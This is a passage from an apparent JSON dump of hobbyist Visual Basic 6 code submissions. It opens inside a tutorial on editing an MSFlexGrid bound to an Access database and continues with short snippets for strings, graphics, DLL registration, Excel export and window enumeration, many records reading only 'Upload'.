given below. \n fg.Sort = 1 \n \n 'flexSortNone = 0 \n 'flexSortGenericAscending = 1 \n 'flexSortGenericDescending = 2 \n 'flexSortNumericAscending = 3 \n 'flexSortNumericDescending = 4 \n 'flexSortStringNoCaseAsending = 5 \n 'flexSortNoCaseDescending = 6 \n 'flexSortStringAscending = 7 \n 'flexSortStringDescending = 8 \n \n 'It it not a bad idea to add a menu item \n ' for sort descending and sort ascending.\n\n \n\n 'Potential Problem: The first column is fixed. \n ' You cannot select a cell in the first column. \n ' \n ' fg.Col = 0 \n ' fg.Sort = 1 \n ' but this takes away the use of the mouse \n ' in selecting a column. \n ' Another solution is to leave the first column \n ' empty when you are loading the table. Start \n ' with 1 instead of 0 when filling in values \n ' on the row. This is the solution we used. \nEnd Sub\n\n<h3>4th Step\n</h3>\nIn this step we will add a new row to the grid. Adding a row is easy. You just \nput in fg.AddItem \"\". This adds a blank row. It doesn't do any good to add a row unless you can put data into your\ndatabase though. It is a lot harder to get this done. \n\n \nA. Add a text box to the form named txtCell. Set the text property to \"\",\nset the visible property to false,\nand the border style to none.\n\n \n\n\n<a href=\"http://jerry_m_barnes.tripod.com/VBImages/frmmain02.jpg\">Picture\nFive</a>\n\nB. Add the following code for the add procedure.\n\nPrivate Sub mnuEditAdd_Click() \n 'Add a new record to the DB. We need to do this \n ' in order to get the next Employee ID number \n ' since the EmployeeID is an autonumber field. \n rs.AddNew \n \n 'In this particular database, FirstName and \n ' lastname are required fields. Since the \n ' user needs to enter values for them, we \n ' use empty strings for the values \n ' until they can be filled in. \n rs.Fields(\"FirstName\").Value = \" \" \n rs.Fields(\"LastName\").Value = \" \" \n \n 'Save the record. It would be nice if escape \n ' could cancel the update, but I haven't \n ' got that part figured out yet. \n rs.Update \n \n 'Move to the last record so that we \n ' can get the employee ID. \n rs.MoveLast \n \n 'The format: AddItem String, Index \n ' the string is whatever message goes in the \n ' first column. The Index is row where \n ' the new row is inserted. If left blank \n ' the row is adding onto the end. \n fg.AddItem \"\" \n \n 'Put the Employee ID in the table. \n ' Go to the last row and first column. \n fg.Row = fg.Rows - 1 \n fg.Col = 1 \n \n 'Add the EmployeedID. Note that a permanent \n ' record has been created in the database. \n ' If nothing is typed in the fields then \n ' a record exists with just an employee id. \n \n fg.Text = rs.Fields(\"EmployeeID\").Value \n \n 'Call the MoveTextBox Procedure. It has not \n ' been written yet. \n Call MoveTextBox \nEnd Sub \n \nC. Go to the declarations section and add thefollowing declarations.\n\n \n Dim mblnLoaded As Boolean \n Dim mblnMouse As Boolean \n \n mblnLoaded is going to be used to load the grid. \n mblnMouse is going to be used to determine if a cell has been clicked on. \n \nD. Now go to the Form_Load event. Before the the call to LoadGrid, set mblnLoaded to false. \nAfter the call to LoadGrid, set mblnLoaded = True. It should look like the\nfollowing.\n\n \n mblnLoaded = False \n Call LoadFG \n mblnLoaded = True \n \nThis is necessary in order to keep the cell from being filled\nwith null values with the EnterCell and LeaveCell events coming up. \n \n \nE. Program in the MoveTextBox Procedure. \n \nPrivate Sub MoveTextBox() \n 'This procedure moves a textbox over the \n ' selected cell, makes it visible, sets \n ' its text equal to the cell's text, & \n ' gives it the focus. I got the idea \n ' for this from: \n ' www.msdn.microsoft.com \n \n 'Make the textbox visible. \n txtCell.Visible = True \n \n 'Move the text box over the selected cell. \n Dim inthold \n inthold = fg.Row \n inthold = fg.Col \n \n txtCell.Left = fg.Left + fg.CellLeft \n txtCell.Top = fg.Top + fg.CellTop \n txtCell.Height = fg.CellHeight \n txtCell.Width = fg.CellWidth \n \n 'Set the text in the textbox equal to the \n ' text in the selected cell. \n txtCell.Text = fg.Text \n \n 'Activate the cell. \n txtCell.SetFocus \n If Len(txtCell.Text) > 0 Then \n txtCell.SelStart = 0 \n txtCell.SelLength = Len(txtCell.Text) \n End If \n \n 'The following line will be important later. \n ' If two controls occupy the same space, \n ' Zorder describes which control is on top. \n ' Zorder (0) brings a control to the front. \n txtCell.ZOrder (0) \nEnd Sub \n \nF. Add the following five procedures. \n \nPrivate Sub fg_EnterCell() \n 'First \n \n 'Do not manipulate cell values until \n ' the grid is loaded. \n If mblnLoaded = True Then \n \n'Assign cell value to the textbox \n txtCell.Text = fg.Text \n End If \nEnd Sub \n \nPrivate Sub fg_LeaveCell() \n 'Second \n \n 'Do not manipulate cell values until \n ' the grid is loaded. \n If mblnLoaded = True Then \n \n'Assign textbox value to the cell \n fg.Text = txtCell.Text \n txtCell.Text = \"\" \n End If \nEnd Sub \n \nPrivate Sub fg_MouseDown(Button As Integer, Shift As Integer, _ \n x As Single, y As Single) \n 'Third \n \n 'If the mouse is clicked set mblnMouse to True. \n mblnMouse = True \n \n 'Assign the textbox with the cell value. \n fg.Text = txtCell.Text \n \n 'Move the textbox to the desired postion. \n MoveTextBox \nEnd Sub \n \nPrivate Sub txtCell_KeyDown(KeyCode As Integer, Shift As Integer) \n 'Fourth \n \n 'This procedure will allow the user to leave \n ' a cell with the enter key. \n If KeyCode = 13 Then \n SendKeys \"{TAB}\" \n End If \nEnd Sub \n \nPrivate Sub Form_Activate() \n 'Fifth \n \n 'The procedure set the focus to the first \n ' cell when the form activates. This \n ' could be inconvienent if the user changes \n ' forms while leaving this one open. Boolean \n ' variables could be used to avoid this. \n fg.Col = 1 \n fg.Row = 1 \n MoveTextBox \nEnd Sub \n \n'G. Enter the following procedure. Basically this procedure moves the text box when\nyou tab. \n \nPrivate Sub Txtcell_LostFocus() \n \n 'This sub has not been programmed yet. \n ' It will be programmed next. \n Call SaveRecord \n \n 'If the user clicks on a cell, go \n ' to the cell. See the MouseDown \n ' Proc earlier. Leave. \n If mblnMouse = True Then \n mblnMouse = False \n Exit Sub \n End If \n \n 'Move to the new column and send the \n ' text box there. \n \n 'If you're not at the end of the column, \n ' move to next column. \n If fg.Col <= fg.Cols - 2 Then \n fg.Col = fg.Col + 1 \n MoveTextBox \n Else 'If you're at the end of a row, \n ' go to the last row unless you \n ' are on the last row. \n If fg.Row + 1 < fg.Rows Then \n \nfg.Row = fg.Row + 1 \n \nfg.Col = 1 \n \nCall MoveTextBox \n End If \n End If \nEnd Sub \n \nH. Enter the SaveRecord Procedure. This procedure saves the record whenever\nyou leave the cell. \n \nPrivate Sub SaveRecord() \n \n 'If the cell and textbox are different, \n ' save the new value. \n If txtCell.Text <> fg.Text Then \n \n Dim intEmployeeID As Integer \n Dim inthold As Integer \n \n 'Hold the current col position. \n inthold = fg.Col \n \n 'Move to the first column in order \n ' to get the Employee ID. \n fg.Col = 1 \n intEmployeeID = fg.Text \n \n 'Move back to the original column. \n fg.Col = inthold \n \n 'Assign the text from the textbox to \n \n' the cell. \n fg.Text = txtCell.Text \n \n 'Find the record with the specified \n ' employee id. \n rs.MoveFirst \n rs.Find (\"EmployeeID Like '\" & intEmployeeID & \"'\") \n \n 'Change the value and save the record. \n rs.Fields(fg.Col - 1).Value = fg.Text \n rs.Update \n End If \nEnd Sub \n \nRun the program now. Click on a cell and scroll. You will notice that the cell moves and the\ntext box stays where it is. This is unacceptable. so lets fix it. \n \nI. The following procedure will take care of this problem. \n \nPrivate Sub fg_Scroll() \n \n 'Whenever a scroll occurs, automatically \n ' put txtCell on top. \n txtCell.ZOrder (0) \n \n 'If the current cell is scrolled off screen \n ' then put it behind the grid. \n If fg.ColPos(fg.Col) < 0 Then \n txtCell.ZOrder (1) \n ElseIf fg.ColPos(fg.Col) > 4500 Then \n txtCell.ZOrder (1) \n Else 'If the current cell comes back \n ' on the screen bring it to \n ' the front. \n txtCell.Left = fg.CellLeft + fg.Left \n End If \nEnd Sub \n \nAnother problem has arisen since we started using the floating text box. Run the program\nand sort a column. The text box does not move or contain the value of the cell that it is over after the sort is performed. \n \nJ. Fix the Sort Problem by going to the mnuEditSort_Click Procedure and inserting \nthe following two lines after fg.Sort = 1 \n \n fg.Row = 1 \n Call MoveTextBox \n \n \n \n\n<h3 align=\"left\">Afterward: \n</h3>\nThis project took a lot longer than I presumed\nit would. My goal was to make this table look and behave like an Access table. It is\nclose now but still has many features to be added. If I have time I may\nadd these. \n \nThe project took a while because every time I added a new feature, it would affect another part\nof the program. This led to many changes and revisions. I think that the the version that I have now\nworks fairly well. There are some features that I did not get to such as cutting\ncolumns or rows and pasting them at a different position. \n \nThere are also some features that I did not know how to implement. I could not import pictures\nfrom a database into the FlexGrid correctly (which would be a cool feature). I would also\nlike to be able to cancel an add new record correctly. In Access with autonumber, the\nrecord number will not be saved until another \nfield is completed. It would be a great help if someone would post solutions to these problems. \n \n\n\n \n<a href=\"mailto:jerry_m_barnes@hotmail.com\">jerry_m_barnes@hotmail.com</a>\n\n </td>\n </tr>\n</table>\n<h1 align=\"center\"> </h1>\n</body>\n</html>\n"},{"WorldId":1,"id":13564,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13565,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13566,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13569,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13570,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13573,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13574,"LineNumber":1,"line":"Function stripChar(str2BStriped As String, str2Strip As String) As String\n Dim sPos As Long\n Dim newStr As String\n \n sPos = 1\n Do\n sPos = InStr(str2BStriped, str2Strip)\n If sPos > 0 Then\n newStr = newStr & Left(str2BStriped, sPos - 1)\n Else\n newStr = newStr & str2BStriped\n End If\n str2BStriped = Right(str2BStriped, Len(str2BStriped) - sPos)\n Loop Until sPos = 0\n stripChar = newStr\nEnd Function"},{"WorldId":1,"id":13575,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13576,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13577,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13578,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13579,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13580,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13581,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13583,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13586,"LineNumber":1,"line":"Kindly download the Zip file, by clicking the link below, to see the article and the associated projects (3 projects) in it. Extract the Zip, and read the Readme Text File First."},{"WorldId":1,"id":13592,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13596,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13607,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13609,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13610,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13613,"LineNumber":1,"line":"Private Sub Command1_Click()\n Dim intRadius, intDegree As Integer\n Dim sngX, sngY As Single\n \n If IsNumeric(Text1.Text) Then\n intRadius = Text1.Text\n For intDegree = 1 To 360\n sngX = (Cos(intDegree) * intRadius) + intRadius\n sngY = intRadius - (Sin(intDegree) * intRadius)\n Picture1.PSet (sngX, sngY), vbBlack\n Next\n Else\n MsgBox \"Please enter a numeric value for the radius.\"\n Text1.SetFocus\n End If\nEnd Sub\nPrivate Sub Command2_Click()\n Unload Form1\nEnd Sub\n"},{"WorldId":1,"id":13623,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13630,"LineNumber":1,"line":"'''By Herman Liu, EDITED by Micah Epps: MTEXX@zebra.net\nOption Explicit\nPrivate Declare Function GetFileVersionInfoSize Lib \"Version.dll\" Alias \"GetFileVersionInfoSizeA\" (ByVal lptstrFilename As String, lpdwHandle As Long) As Long\nPrivate Declare Function GetFileVersionInfo Lib \"Version.dll\" Alias \"GetFileVersionInfoA\" (ByVal lptstrFilename As String, ByVal dwhandle As Long, ByVal dwlen As Long, lpdata As Any) As Long\nPrivate Declare Function LoadLibrary Lib \"kernel32\" Alias \"LoadLibraryA\" (ByVal lpLibFileName As String) As Long\nPrivate Declare Function GetProcAddress Lib \"kernel32\" (ByVal hModule As Long, ByVal lpProcName As String) As Long\nPrivate Declare Function CreateThread Lib \"kernel32\" (lpThreadAttributes As Any, ByVal dwStackSize As Long, ByVal lpStartAddress As Long, ByVal lParameter As Long, ByVal dwCreationFlags As Long, lpThreadID As Long) As Long\n'Private Declare Function TerminateThread Lib \"kernel32\" (ByVal hThread As Long, ByVal dwExitCode As Long) As Long\nPrivate Declare Function WaitForSingleObject Lib \"kernel32\" (ByVal hHandle As Long, ByVal dwMilliseconds As Long) As Long\nPrivate Declare Function GetExitCodeThread Lib \"kernel32\" (ByVal hThread As Long, lpExitCode As Long) As Long\nPrivate Declare Sub ExitThread Lib \"kernel32\" (ByVal dwExitCode As Long)\nPrivate Declare Function FreeLibrary Lib \"kernel32\" (ByVal hLibModule As Long) As Long\nPrivate Declare Function CloseHandle Lib \"kernel32\" (ByVal hObject As Long) As Long\n\nPublic Enum DLLRegServiceResults\n regSuccess = 0\n regFailLoadLib\n regFailCreateThread\n regThreadTimeout\nEnd Enum\n\nPublic Function PrintDLLRegServiceResults(ByVal Value As DLLRegServiceResults) As String\n Dim Temp As String '''typing the above sux\n \n Select Case Value\n Case regSuccess: Temp = \"success\"\n Case regFailLoadLib: Temp = \"failed to load library\"\n Case regFailCreateThread: Temp = \"failed to create thread\"\n Case regThreadTimeout: Temp = \"thread timed out\"\n Case Else: Temp = \"UNKNOWN\"\n End Select\n PrintDLLRegServiceResults = Temp\nEnd Function\n \nPublic Function DLLRegisterService(ByVal Filespec As String, ByVal RegVsUnreg As Boolean) As DLLRegServiceResults\n '''DOS filenames (8.3 / no spaces) are NOT necesary! :)\n Dim hLib As Long ' Store handle of the control library\n Dim lpDLLEntryPoint As Long ' Store the address of function called\n Dim lpThreadID As Long ' Pointer that receives the thread identifier\n Dim lpExitCode As Long ' Exit code of GetExitCodeThread\n Dim mResult As Long\n Dim hThread\n Const RegProcName = \"DllRegisterServer\"\n Const UnregProcName = \"DllUnregisterServer\"\n \n '''Load the control DLL, i. e. map the specified DLL file into the address space of the calling process\n hLib = LoadLibrary(Filespec)\n If hLib = 0 Then\n DLLRegisterService = regFailLoadLib\n Exit Function\n End If\n '''Find and store the DLL entry point, i.e. obtain the address of the “DllRegisterServer” or \"DllUnregisterServer\" function (to register or deregister the server’s components in the registry)\n lpDLLEntryPoint = GetProcAddress(hLib, IIf(RegVsUnreg, RegProcName, UnregProcName))\n \n If lpDLLEntryPoint = vbNull Then\n FreeLibrary hLib\n DLLRegisterService = regFailLoadLib\n Exit Function\n End If\n \n '''Create a thread to execute within the virtual address space of the calling process\n hThread = CreateThread(ByVal 0, 0, ByVal lpDLLEntryPoint, ByVal 0, 0, lpThreadID)\n If hThread = 0 Then\n FreeLibrary hLib\n DLLRegisterService = regFailCreateThread\n Exit Function\n End If\n \n '''Use WaitForSingleObject to check the return state (i) when the specified object is in the signaled state or (ii) when the time-out interval elapses. This function can be used to test Process and Thread.\n mResult = WaitForSingleObject(hThread, 10000)\n If mResult <> 0 Then\n FreeLibrary hLib\n lpExitCode = GetExitCodeThread(hThread, lpExitCode)\n ExitThread lpExitCode\n DLLRegisterService = regThreadTimeout\n Exit Function\n End If\n \n '''We don't call the dangerous TerminateThread(); after the last handle to an object is closed, the object is removed from the system.\n CloseHandle hThread\n FreeLibrary hLib\n DLLRegisterService = regSuccess\nEnd Function\n"},{"WorldId":1,"id":13633,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13637,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13638,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13645,"LineNumber":1,"line":"DirPath = [Path of file]\n On Error GoTo err:\n X% = Shell(DirPath, 1): NoFreeze% = DoEvents(): Exit Sub\n Exit Sub\nerr:\n If err.Number = 6 Then Exit Sub\n MsgBox \"Please make sure you have the correct path and then try again.\""},{"WorldId":1,"id":13648,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13649,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13650,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13652,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13655,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13660,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13661,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13662,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13663,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13665,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13666,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13668,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13670,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13671,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13672,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13674,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13675,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13677,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13679,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13681,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13684,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13685,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13686,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13688,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13693,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13696,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13697,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13701,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13702,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13704,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13707,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13708,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13711,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13712,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13714,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13727,"LineNumber":1,"line":"Code:\n'Launch Windows Date/Time Properties Dialog\nDim dblReturn As Double\ndblReturn = Shell(\"rundll32.exe shell32.dll,Control_RunDLL timedate.cpl\", 5)"},{"WorldId":1,"id":13733,"LineNumber":1,"line":"Public Function ExportToExcel(lvw As MSComctlLib.ListView) As Boolean\n Dim objExcel As Excel.Application\n Dim objWorkbook As Excel.Workbook\n Dim objWorksheet As Excel.Worksheet\n Dim objRange As Excel.Range\n \n Dim lngResults As Long\n Dim i As Integer\n Dim intCounter As Integer\n Dim intStartRow As Integer\n Dim strArray() As String\n Dim intVisibleColumns() As Integer\n Dim intColumns As Integer\n Dim itm As ListItem\n 'If there are no selected items in the listview control\n If lvw.SelectedItem Is Nothing Then\n MsgBox \"There aren't any items in the listview selected.\" _\n , vbOKOnly + vbInformation, \"Export Failed\"\n GoTo ExitFunction\n End If\n 'Ask the user if they want to export just the selected items\n lngResults = MsgBox(\"Do you want to export only the selected rows to Excel? \" _\n , vbYesNoCancel + vbQuestion, \"Select Rows For Export\")\n If lngResults = vbCancel Then\n GoTo ExitFunction\n End If\n \n Screen.MousePointer = vbHourglass\n \n 'Try to create an instance of Excel\n On Error Resume Next\n Set objExcel = New Excel.Application\n If Err.Number > 0 Then\n MsgBox \"Microsoft Excel is not loaded on this machine.\", vbOKOnly + vbCritical, \"Error Loading Excel\"\n GoTo ExitFunction\n End If\n \n On Error GoTo HANDLE_ERROR\n ' Don't allow user to affect workbook\n objExcel.Interactive = False\n \n If objExcel.Visible = False Then\n objExcel.Visible = True\n End If\n \n objExcel.WindowState = xlMaximized\n \n Set objWorkbook = objExcel.Workbooks.Add\n Set objWorksheet = objWorkbook.Sheets(1)\n \n intCounter = 0\n Set objRange = objWorksheet.Rows(1)\n objRange.Font.Size = 10\n objRange.Font.Bold = True\n For i = 1 To lvw.ColumnHeaders.Count\n If lvw.ColumnHeaders(i).Width <> 0 Then\n ' Create an array of visible column indexes\n intColumns = intColumns + 1\n ReDim Preserve intVisibleColumns(1 To intColumns)\n intVisibleColumns(intColumns) = i\n \n objRange.Cells(1, intColumns) = lvw.ColumnHeaders(i).Text\n \n With objWorksheet.Columns(intColumns)\n \n Select Case LCase$(lvw.ColumnHeaders(i).Tag)\n ' If tag is empty, format as text\n Case \"string\", \"\"\n .NumberFormat = \"@\"\n Case \"number\"\n .NumberFormat = \"#,##0.00_);(#,##0.00)\"\n .HorizontalAlignment = xlRight\n Case \"date\"\n .NumberFormat = \"mm/dd/yyyy\"\n .HorizontalAlignment = xlRight\n End Select\n \n End With\n \n End If\n Next i\n ' Dimension array to number of listitems\n ReDim strArray(1 To lvw.ListItems.Count, 1 To intColumns)\n \n intCounter = 0\n intStartRow = 2\n For Each itm In lvw.ListItems\n ' A response of vbNo meant to export all the items\n If lngResults = vbNo Or itm.Selected Then\n ' increment the number of selected rows\n intCounter = intCounter + 1\n For i = 1 To intColumns\n If intVisibleColumns(i) = 1 Then\n strArray(intCounter, 1) = itm.Text\n Else\n strArray(intCounter, i) = itm.SubItems(intVisibleColumns(i) - 1)\n End If\n Next i\n End If\n Next itm\n \n ' Send entire array to Excel range\n With objWorksheet\n .Range(.Cells(2, 1), _\n .Cells(2 + intCounter - 1, intColumns)) = strArray\n End With\n \n objWorksheet.Columns.AutoFit\n objExcel.Interactive = True\n \n ExportToExcel = True\nExitFunction:\n Screen.MousePointer = vbDefault\n Exit Function\nHANDLE_ERROR:\n MsgBox \"Export to Excel failed. Encountered thej following Error\" & vbCrLf & vbCrLf & _\n Err.Number & \": \" & Err.DESCRIPTION, vbOKOnly + vbCritical, \"Error Exporting To Excel\"\n Set objRange = Nothing\n Set objWorksheet = Nothing\n Set objWorkbook = Nothing\n objExcel.Quit\n GoTo ExitFunction\nEnd Function\n"},{"WorldId":1,"id":13734,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13740,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13741,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13742,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13743,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13745,"LineNumber":1,"line":"Dim WithEvents dynbutton As VB.CommandButton\nDim WithEvents dynLabel As VB.Label\nPrivate Sub Form_Load()\n Form2.Show\n Form2.Top = Form1.Top\n Form2.Left = Form1.Left + Form1.Width\nEnd Sub\nPrivate Sub Command1_Click()\n Call dynObjects\nEnd Sub\n \nPublic Sub dynObjects()\n 'Define label location and properties\n Set dynLabel = Form2.Controls.Add(\"VB.label\", \"dynLabel\", Form2.Picture1)\n dynLabel.Caption = \"Dynamically added label!\"\n dynLabel.Visible = True\n dynLabel.BorderStyle = 1\n \n 'Define CommandButton location and properties\n Set dynbutton = Form1.Controls.Add(\"VB.commandbutton\", \"dynButton\", Form1)\n dynbutton.Caption = \"Dynamic Button\"\n dynbutton.Visible = True\n dynbutton.Width = 1275\n dynbutton.Font = \"MS Sans Serif\"\n End Sub\nPrivate Sub dynButton_click()\n MsgBox (\"You have pressed a dynamically added button\")\nEnd Sub"},{"WorldId":1,"id":13747,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13748,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13754,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13756,"LineNumber":1,"line":"A good message to the user should contain quotes, e.g. File \"c:\\MyFile.txt\" was not found.\nBut how do you actually display the Quote symbols easily? For a few years, I was defining my own sQuoteChar symbol, which was Chr$(34). But doing it was tedious. Lucky for us, there is a better way to display the Quote symbol.\n \nMsgBox (\"File \"\"C:\\MyFile.txt\"\" was not found\")\nHere, when you put 2 quotes together, VB realizes you actually want to show C:\\MyFile.txt in quotes. Otherwise, you would need an annoyingly long code, like\nMsgBox (\"File \" & sQuoteChar & \"C:\\MyFile.txt\" & sQuoteChar & \" was not found\")\nSee the difference? Good :)\nHope this is useful to you."},{"WorldId":1,"id":13762,"LineNumber":1,"line":"'Call this function to begin the process of getting every window on the desktop\nPublic Sub EnumerateAllWindows()\nDim hWndDesktop As Long\n hWndDesktop = GetDesktopWindow()\n EnumerateChildren hWndDesktop\nEnd Sub\nPrivate Sub EnumerateChildren(hWndParent As Long)\nDim hWndChild As Long\n \n 'Get the first child of hWndParent\n hWndChild = GetWindow(hWndParent, GW_CHILD Or GW_HWNDFIRST)\n \n Do While hWndChild <> 0\n ' At this point, hWndChild contains a child window handle of hWndParent.\n ' You could use GetWindowText here, for instance, to retrieve the title of the window.\n Debug.Print hWndParent, hWndChild\n \n 'Now get any children for hWndChild\n EnumerateChildren hWndChild\n \n 'And move on to the next window\n hWndChild = GetWindow(hWndChild, GW_HWNDNEXT)\n Loop\n \nEnd Sub\n"},{"WorldId":1,"id":13775,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13777,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13779,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13780,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13782,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13785,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13787,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13788,"LineNumber":1,"line":"Private Sub GradientFill()\n Dim i As Long\n Dim c As Integer\n Dim r As Double\n r = ScaleHeight / 3.142\n 'Hint: Multiplying r by differnt values give different effects (try 2.3)\n For i = 0 To ScaleHeight\n c = Abs(220 * Sin(i / r))\n 'Hint: Changing sin to cos reverses range\n Me.Line (0, i)-(ScaleWidth, i), RGB(c, c, c + 30)\n 'Hint: Notice the bias to blue. You can be more subtle by reducing this number (try 10). Try other colours too.\n Next\nEnd Sub\nPrivate Sub Form_Load()\n Me.ScaleMode = 3\n Me.AutoRedraw = True\nEnd Sub\nPrivate Sub Form_Resize()\n GradientFill\nEnd Sub"},{"WorldId":1,"id":13789,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13790,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13791,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13794,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13798,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13800,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13801,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13802,"LineNumber":1,"line":"Dim VBPath\nDim Project\nPath = \"C:\\Program Files\\Microsoft Visual Studio\\VB98\\VB6.EXE 'Path of Visual Basic\nProject = \"C:\\VB\\Project1.vbp\" 'Path of the Project\nPrivate Sub Command1_Click()\nShell Path & \" /make \" & Project, vbhide\nEnd Sub"},{"WorldId":1,"id":13803,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13805,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13806,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13818,"LineNumber":1,"line":"'Wonder why MS Access doesn't support this ?\n'Manually converting access -1,0 to checkbox true/false value\n'This procedure can be declare eithr in main form or a module\n'When viewing data, MS ACcess value (0,-1) are changed into\n'checkbox controls' (true/false) to be displayed.\n\nSub keydrop_check(keydrop)\nDim Room_found As Boolean\nRoom_found = False\nWith datrooms.Recordset\n.MoveFirst\nDo While Room_found = False And Not .EOF\nIf .Fields(\"Room No\") = DatCheckin.Recordset.Fields(\"Room\") Then\n keydrop = .Fields(\"keydrop\")\n Room_found = True\nElse:\n.MoveNext\nEnd If\nLoop\nEnd With\nIf keydrop = 0 Then\n chkKeydrop = Unchecked\n Else: chkKeydrop = Checked\nEnd If\nEnd Sub\n\n\n'This is the click event for the checkbox\n'\n'Converts check/uncheck value into 0/-1 \n' and stores it back into MS Access DB\n\nPrivate Sub chkKeydrop_Click()\ndatrooms.Recordset.Edit\nIf chkKeydrop = Checked Then\n keydrop = -1\n datrooms.Recordset.Edit\n datrooms.Recordset.Fields(\"Keydrop\").Value = \"-1\"\n datrooms.Recordset.Update\n Else:\n keydrop = 0\n datrooms.Recordset.Edit\n datrooms.Recordset.Fields(\"Keydrop\").Value = \"0\"\n datrooms.Recordset.Update\n End If\n \nEnd Sub\n"},{"WorldId":1,"id":13819,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13821,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13822,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13823,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13824,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13826,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13836,"LineNumber":1,"line":"' [: Paste This Code Into a module. :]\nOption Explicit\nDim DataLength as Boolean\nDim i As Integer\nDim Letter As String, Side0 As String, Side1 As String, Side2 As String\nPublic Function Encrypt(ByVal EncryptData As String)\n If Len(EncryptData) Mod 2 = 0 Then\n Side1 = StrReverse(Left(EncryptData, (Len(EncryptData) / 2)))\n Side2 = StrReverse(Right(EncryptData, (Len(EncryptData) / 2)))\n EncryptData = Side1 & Side2\n Else\n Side0 = StrReverse(EncryptData)\n For i = 1 To Len(Side0)\n Letter = Mid$(Side0, i, 1)\n Mid$(Side0, i, 1) = Chr(Asc(Letter) + 9)\n Next i\n EncryptData = Side0\n End If\n \n For i = 1 To Len(EncryptData)\n Letter = Mid$(EncryptData, i, 1)\n Mid$(EncryptData, i, 1) = Chr(Asc(Letter) + 2)\n Next i\n \n Encrypt = EncryptData 'LCase(EncryptData)\nEnd Function\nPublic Function Decrypt(ByVal DecryptData As String)\n For i = 1 To Len(DecryptData)\n Letter = Mid$(DecryptData, i, 1)\n 